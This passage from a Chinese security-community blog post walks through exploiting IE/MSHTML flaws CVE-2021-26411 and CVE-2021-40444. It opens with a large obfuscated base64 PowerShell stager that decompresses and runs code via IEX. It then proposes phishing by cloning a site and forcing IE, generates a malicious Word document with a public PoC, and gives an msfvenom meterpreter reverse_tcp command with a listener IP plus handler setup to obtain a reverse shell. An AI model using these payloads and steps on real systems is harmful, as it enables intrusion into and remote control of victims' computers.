AGgAWABnAEsAZgBTACsAMABNAHIAMAB2AFgATABuAEkAYQBlAEEARQBZAGwANgBRAHAATwBrAGMAQgBSAEgAbABWADMALwBuADUANwB6AHQAVgBUAE0AcwAvAHQASgBRADUAYQBwADEAMABUAG0AbgA1ACsAegBIAEYAMgA0ADUAOABTAHkAeQB5AHQAMwB3AHUAUQB0ADcAMAB2AG0AWABkAFcAVABaAGgAQQBiAHAAKwBxADkAUABRADQATgB1AEwASgBjADIARQBoAGMANQBGAHIANABTAHYAdgBCAFIAegB1AGoARwBwAGgAawBlAHAAYQB1AFkARABuADQAVwA4AHAAYwBGAFMAaABvAFgAZABQAEkAcABvAE0AdQBmADEAWgBxAE8AeABkADUAMABwAGIATgB6AEkAbwBhADgAaAArAEEAVgBVAEkATAAvADAAWgBsAHoARABnAHQANQAxAGQAVwBvAEEALwBpAGQAMwA0AEcAbQB0AHgAcwA0AFoAdgBRAHEAZgBUAGwAYQB5AFgAWAAzADkARAAzAGwAcwBtAHkAagBNAEMAeAB5AC8AUQBqAE8ATwBTADUAeQBCAGsAVQAyAEoAVQBWAE8AZABFAFAAcgBzAGkAUgBHAHoATQB1AEcAKwBiAC8AZAAxAFMASwBiAFcAUgBpAEYANwBHAHAAdQB4AFgAOABBADYAVwBWAHIAMgBYAFAAaAB4AEUAUQBZAHMAZwBzAHcAagBBAHkAZgBZAGcAdgBaAEsAUwBwAEYAcgBtADAAUgBLAGkAVwBHAFoAVgA1AGQAeQBIACsASQBpAFkAeABzAEcANAA0AGMAVwBEAHAAQQBUAG0AQQBtAHgAYwBKAGcASwBXAGMAQwBVAHYAeABYAGYAdgBBAGwAZwB6AEwAVgA4AFcAMwBxAGcASABSAFcAaABSAFEAYgBtAFYAQgB6AEwAaQBjAHEAbwB4AHMAeQBLAGMAbgAvAEcANwBlAHYANQArAFIAOABLAEYASwBzAHIAaQBDADkAYwB4AG8ASQBZAE4AZwBlAEsAMwBJAFQASwAyAEIAUQAxAC8ATABGAG4ANABqADMAMwA3AG4AMwBZADQAbgA1AHcAVQAwADUAbwBKAGQARQBGAHIASwBEAHUASgBRAFMAbABoADYAWABUAEIASwBuAGwAOAB1AFgATgB5AHcAegA1AEEASQBHAHEAQwBtAEIANQAwAGcAbwBwAFAAYwAxAEkAeQB0AGoAaABiAHoAdwBHAE8AMwBWAFIATgBzAE4ANwBvAE4AVwA4ADYAQwAwADkAKwAzAG0AQwBKADQARABQAE0ASgBlAGEAZgBaADYAbgBhAEUAdgBEAFgAdQA0AEcAVAAzADMAMgArAFgATwBSAGgAMAA4AE4AbQBwAFIASABLAG4AUgBTAEMAbwBMAFMAaABuAGsAVAB2AHQAVwBjADYATQBlAG4AcgAxADUASgBYAEoAcQBGAGUASwByAEIAeAAzAG0AdwBvAGQAOQBPADIAeQBvAGgANABiAFkAcgB1ADQAOQA1AGQANgAwAG4AaQA1ADIAegB2AHEARABkAFYAeABaAHoAMQBUAGwAWQBkADEAUwBhAHUAMQBKAHEASwBUAHkAYgBmAFUAZwBLAFgAdgA1AHkAWQBQAHgASAArAHAAQgA5AGoAcQBnADkAMwBqAHYAdQAxAEoATQBhAHIAVABaAHUAYQBlAHoASABvADQARgA5AGsAaQBSAGUAVQB5ADYAawAwADkARwB1AGQASwBhAEoASABwAHYAMAB2AFIAMQB3AHkAVwA5AGQAVwBXAGcAZABQAFIAVAB0AGMAbQBPAFoAZABJAGUAbABrAGsAegBYAEoARABKAHYAaQBuADAAMQAxADAAZgA0AGwAUQBGADAANwBoADMATwA0AGwAaABTAEEAbAArAGoAUgA3ADYAcwByAGIARABiAGIAMQBIAHUAdgB2AEgATwBqAGwAVgBFADAAVwB2AEEAUQA1AEgASQA5AEcAMgA4ADMAdAB5AHgARABNAGwAeABqAE8AOQBsADcAVABuAGUAZwB2AHMANwBxAE8AcABXAFcAdAByAGgAZwBDADIARABYAEsATQB5AFQAaAA4ADcAbwB6AFkAWABPAGcAagBwADUAWQBrAGIAawAxAFcAZAArAHEAeABoADMAMAAyAG0AWABYAHUAQQA1AFQASQBmAHMAKwBpAGEAMgBuAEQAVQB0ADEATwBiADIARgAyAG4AcAByAHMANwBKADkAaABEAEIATQBDAHQAdQAzADIAcQBOAEUARgAyADYANgBzAGEAWgBBAEwAVgBGAGYAbwBHAEcAUwA2AG8AUQBXADIASABvAE8AOQBhAG0AbQA3ADUASAA2AEgAQgBUADMAVwBsAEQARwBwAGcAMgAvAFQAdABkAGcANQBTAFkANQB1AFkAYwBHAGMAYgBRAFMAOQBUAG8ALwB6AG0AUwB6AG8AVAAvAEoAMgBhAE0ANQBGAGIAegB3AHoAaQBZAE0AYwB5AGMASwBEAGUAawB5AHEASABiAGEAbwBkAG8ANgBMAHUARwA2AHQAWgAyAFIAUABwAHYANgBSAHUATwBJAHoAcQBTADUAaQBFAHQAZAB0ADUARAB3ADUAbwBrAGsAQwB1AFIAVgAyADEATwBNAGkARgBGADIAdABwAFEAcQBMAHcAZABCAHUAUABzADkAZgBoADYAMwBSAEIAQwAvAEUAYQBsADIAYgBqAHYAMwArAHEASwB4AHEAaQBsAGsAZQBpAFQARQBUAFIAOAAzADYAYQBHAEMAVAA3AG0ARAA4ADEARwBxAEoAZQBvAFIAYgB2AGkATQBlAFAAYgAxADUATgBCAHMARQA4AGoARQBzAEgAOABkAGoAVQBXAGMAawAxAGkAYQBOAG8AVABvAFgAaABXAEYASQBwAFAARQBNAFoASQBYAHgAMgBHADgAUABYAHkAdQB6AGgAagBUAFAANQBOAGQATwA1AHoAQgB2ADIAYgBGAHMAMQBmAHkAcgBEAC8ATgBxADUAMABRAGwAOABnAGMAVwA3AEEAZABsAGkAMwB0AFkASwBIAGUAVgBsAG0AUgBDAGoARgBTAHEATAB2AGIAegBWAHUAZgBZAGMAQwBWAGgANwBsAFQAYwB1AGEAdQA0AEQAYQBmAEQAUwBOAFcAdgBJAEYAZQBwAFkAcgBFAHUATABHAEMAdAA0AFUAegAyADYAKwBwAGMAbABxAHEAaABpAHUATABYAG4AZQBMAEUATQBvADQAWAB1ADcAbQByADEAeABUAGgANgBVAFIAbgA0AFYAUwBKADIAVwBrAHoAOABNAGIAegBsAHQAaABWAGcASQBzAEwAeAB6AGYAbgBiAHYATQBaAHQANABtADEAbgBoAEkATABUAC8ARQB6ADcAQwBFAGcAZAA3AEwASABzADAAWABjAGMASQBtAEQAMgAvAGgANQBNAGYAVQBQAEMAMQBOAHQAbwAzAGcAYgB5AE0AYgAvAFAAeQBkAHoANABIAG0ANQBqAGkAUQBDAFAARABXAG0AZQBrADgAOQBBAFoALwBMADQAVQA2AHQAYQBqAHYAUwBaAEEAOQBiAG8AZABFAEMASABzAFkATwA4AEEAVgA0AFoASAAxAHkATwAvAEUAKwBCAEoANABtAFcAawBOAE4AOQBKAFMAcgBSADQAWQBDAEsAZQBOAHEAWgBXAFAAdgA1AFkARgBWADYANgA1ADMAawAzAEQAeABVAE4ATwBpAHIAcwBCAE8AdQBMAGwAVgBSADQAMABoAGgAawBjAGQASwBHAEoANQBvAGkAUwBaAHIAVgAxAGEAagBUAFoAZQBBAFAAMwBGAE0AYgAyAHoALwA4AEgAQgAvADUAMwBOAHUATABkADYAQQAxAFUARwBDAGwAZwA2AC8AKwBrAFQAbgA5ADcANwBiAHkAdgBMADIAKwBQAHEAMgBxAGUAOQB2AGQAKwB0AGoAMgBCAE4AcQBLAGUAMQBLADEAcwA1AG8ASABjAFYANgAxAGYATgBqADQAYQBDAGMASQB0AHMAcQBHAFQAUQB3AEYAeQB2AEgAOABVAEwAbABFAHMAYgAwAHYAZQBzAFYASwBOAFEAKwBMAGgAegBmAHEAVwBCAFMAMgAzAG8ASwBxAEgAdgB2AEIAWgB0ADAAYgBZADkAbgBEAFoATwB2ACsAaABnAG8ASQAwADcATgAxAGMAcgB1AEoAegBHAE0AQgBTAHEASAA0ADUANAA3AGsAMABRAHUAcQBWAHoAVABPAHQAbwBzADgAbQBhAGkAMAB1AEUAMQB4ADcAcgBLAHYAagA1ADgAdwBMAEMASwA3ADQARABzAFUAZABkAGsAMgAyAEwAWABQAGsAbwBsAE0AdgBsADkATAA5AFcANQBuAE8ALwBEADQAdgBzACsAVQBuAGgAegBWAHcAeABiAGEANwBlAGUAZgBKACsASgB6AHYAYgBpAGIAKwBnAEgAMABTAHUAUQAvACsASABDAGYAaABoADAALwA4AE0AYgBRAHAAZQAxAHAAKwA5AFEAWgBjADUAOQBEAEYAZQBmAEMANwAvAE4AWgBkAFQATgA5AHkANwArAGQAQQA2AHcAZABjAEgAMwBYAE8AUABHAGYAZABDAG8ARABtADcAMgAzAGwAcgArAEYAVABKADcAdAA3AEMATABlAEkANQB0AFQAbgBqAGIAaABIADMAbgBiAHUARAA4AE0AUgBRAHEATQBMADMAUwBtAEIARwA2AFUAWABNAG4AVAArAC8AdgBuAEUAeABzAHMANgBLADMANwBnAGgAeABSAFQAYQA1ADcAdQBPAHQAdwBhAFcAVQB1AGkAbgBVAHQATwBaAGsAVgBRAFkANQB2ADQASgBEAGwANABaAEEAcwA4AE4AQQBBAEEAPQAiACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA=='),5])

00c6eda41a3b8070a77990a2c65ff79633991
成功上线

这是不是也可以算是一种新型的钓鱼方式呢,克隆目标网站;给克隆的站新增一个弹框提示网站只允许IE浏览器打开,这样就可以利用CVE-2021-26411漏洞来进行CS上线了

3.2 CVE-2021-40444(IE浏览器代码执行)

3.2.1 漏洞简介

Microsoft MSHTML 远程代码执行漏洞,攻击者可通过制作恶意的 ActiveX 控件供托管浏览器呈现引擎的 Microsoft Office文档使用,成功诱导用户打开恶意文档后,可在目标系统上以该用户权限执行任意代码。微软在通告中指出已检测到该漏洞被在野利用,请相关用户采取措施进行防护。
MSHTML(又称为Trident)是微软旗下的Internet Explorer 浏览器引擎,也用于 Office 应用程序,以在Word、Excel 或 PowerPoint 文档中呈现 Web 托管的内容。AcitveX控件是微软COM架构下的产物,在Windows的Office套件、IE浏览器中有广泛的应用,利用ActiveX控件即可与MSHTML组件进行交互。

3.2.2 影响范围

影响的版本非常广,可以看到,基本上windows全系列都受到这个漏洞的影响。其载体是ActiveX控件,该控件可以通过Office 的word、Excel、PowerPoint或IE等来加载。

Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019  (Server Core installation)
Windows Server 2019
Windows Server 2016  (Server Core installation)
Windows Server 2016
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit System

3.2.3 利用条件

//IE利用条件
Internet Explorer 中启用ActiveX控件和插件

//office利用条件
office(WordExcelPowerPoint)可以直接利用

3.2.4 漏洞复现

从Github上找了一份POC

https://github.com/lockedbyte/CVE-2021-40444

漏洞利用之前要先安装lcab库

wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz
tar zxvf lcab_1.0b12.orig.tar.gz
cd lcab-1.0b12
./configure
make
sudo make install

00c6eda41a3b8070a77990a2c65ff79637244
能够执行lcab就安装成功了

将Github上的poc上传到服务器下
00c6eda41a3b8070a77990a2c65ff79637717
执行下面这个命令

python3 exploit.py generate test/calc.dll http://vps的ip:8088

可以看到其利用的是test/calc.dll这个生成好的dll,其实我们可以生成自己的dll
00c6eda41a3b8070a77990a2c65ff7963826900c6eda41a3b8070a77990a2c65ff79638705
可以看到在/out/目录下生成了一个document.docx的文件,这个就是主要的用来执行命令的恶意文件。00c6eda41a3b8070a77990a2c65ff79639194
开启http服务python3 exploit.py host 808800c6eda41a3b8070a77990a2c65ff79639666

将生成的document.docx拷贝到靶机,双击打开,可以成功弹出计算器00c6eda41a3b8070a77990a2c65ff79640142

可以看到其是远程加载word.html文件00c6eda41a3b8070a77990a2c65ff79640598
看一下服务器上记录的日志,如下所示:

00c6eda41a3b8070a77990a2c65ff796410533.2.5 POC分析

将刚才生成的document.docx解压以后可以看到其文件结构:
00c6eda41a3b8070a77990a2c65ff79641547
在word/_rels中有个document.xml.rels的文件,其内容中有调用的url
00c6eda41a3b8070a77990a2c65ff7964204200c6eda41a3b8070a77990a2c65ff79642491
在这里调用了word.html文件,这样的话我们也可以直接利用IE浏览器来访问相关的URL,不过IE默认拦截,需要手工启用才行,启用以后相关截图如下所示。
00c6eda41a3b8070a77990a2c65ff79643018
直接使用IE浏览器访问word.html,也可以成功命令执行
00c6eda41a3b8070a77990a2c65ff79643485

3.2.6 MSF上线

生成DLL文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=110.40.137.64 LPORT=2345 -f dll > 2.dll

00c6eda41a3b8070a77990a2c65ff79644031
环境配置

python3 exploit.py generate test/calc.dll http://x.x.x.x
python3 exploit.py host 80
00c6eda41a3b8070a77990a2c65ff79644556
00c6eda41a3b8070a77990a2c65ff79644990

设置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

00c6eda41a3b8070a77990a2c65ff79645514
成功反弹shell
00c6eda41a3b8070a77990a2c65ff796459592022010119332433

本文来自投稿,不代表安强科技社区立场,如若转载,请注明出处:https://community.anqiangkj.com/archives/2434

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年1月3日 上午1:52
下一篇 2022年1月4日 上午9:27

相关推荐

发表回复

您的电子邮箱地址不会被公开。